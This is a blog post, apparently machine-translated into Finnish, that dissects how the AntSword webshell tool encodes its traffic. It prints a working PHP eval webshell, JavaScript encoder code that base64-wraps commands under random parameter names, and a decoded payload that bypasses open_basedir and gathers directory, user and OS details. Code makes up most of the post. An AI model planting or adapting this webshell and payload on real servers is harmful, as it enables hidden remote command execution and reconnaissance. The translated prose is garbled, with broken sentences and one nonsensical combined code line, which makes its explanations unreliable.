Teknologian jakaminen

Ant Sword Encoderin kirjoittaminen – osa 1

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

viitata

AwesomeEncoder

kirjoittajaEnsimmäinenEsimerkiksi
Troijan hevonen

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

Hanki ant-parametrin sisältö, sitten base64 purkaa se ja suorita se
Enkooderi

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

Luo satunnaisluku randomID, base64-kooda tiedot ja välitä se randomID-parametriin.
Sitteneval(base64_decode($_POST[${randomID}]));die();Suorita base64-koodaus

Päinvastoin
Troijalainen saa sen ensindata[pwd]Tuo onantArvo saadaan base64-dekoodauksen jälkeen

eval(base64_decode($_POST[${randomID}]));die();
  • 1

Itse asiassa troijalainen tuli

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

Oletetaan, että luotu satunnaisluku randomID onA, niin se on

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

Troijan hevosen toisessa vaiheessadata[randomID], tuo on$_POST[${randomID}], eli täällä$_POST[A] Se on base64-koodattu, joten se täytyy purkaa kerran. Sitten herää kysymys, miksi se pitää suorittaa kahdesti? ? ?Sitten sinun on tarkistettava se liikennepaketista

Täällä ei esitetä ympäristön rakentamista, Xiaopi, Yijian ja burpsuite.
Lisää kuvan kuvaus tähän

Dekoodaa tietopakettikanta

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Sitten siitä tuleeeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

Katsokaa tätä suurta kappaletta ja järjestäkää se

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

En tietenkään tiedä monia toimintoja, mutta tekoäly on olemassa!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

Tämä kohta on
Sammuta virhenäyttö
Aseta skriptin suoritusaika
Hanki open_basedir:n ja ohituksen määritysarvoopen_basedirOminaisuusrajoitukset

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

Tämä osio hakee hakemiston, jossa nykyinen komentosarja sijaitsee, ja alustaa merkkijonoparametrit.$R, kulkea aseman kirjaimen läpi, CZ räjäyttää aseman kirjaimen, käyttää posix_getegid-funktiota saadakseen komentosarjan suorittavan käyttäjän käyttäjänimen, käyttäjäryhmän ja muun sisällön, havaita$uOnko se olemassa. Jos sitä ei ole, hanki se käyttämällä funktiota php_uname().

Tässä vaiheessa tämä php-koodi hankkii troijalaisen nykyisen suoritushakemiston, käyttäjän ja käyttöjärjestelmän tiedot välimuistimekanismin käytön vuoksi
Suorita kollektiivinen tulos asoutput()-funktiossa,

Lähetä yllä oleva pyyntöpaketti toistinmoduuliin ja huomaa, että palautetut tulokset ovat samat

Mutta tämä ei silti voi selittää, miksi on olemassa kaksi evalia. Itse asiassa muurahaisen välittämä sisältö kuuluu vain, kun eval-kerros on sijoitettu ulkopuolelle. Tässä on yksinkertainen esimerkki.

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

Muuttaa

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

Lisää kuvan kuvaus tähän
Lopputulos on 2, mikä tarkoittaa, että ulompi eval muuntaa merkkijonon suoritettavaksi funktioksi ja evalin sisäkerros suorittaa sisällön

Joten tässä esimerkissä troijalaisen eval-toimintoa käytetään aktivoimaan pyyntöpaketin eval-toiminto, jolloin saavutetaan komennon suorittamisen vaikutus.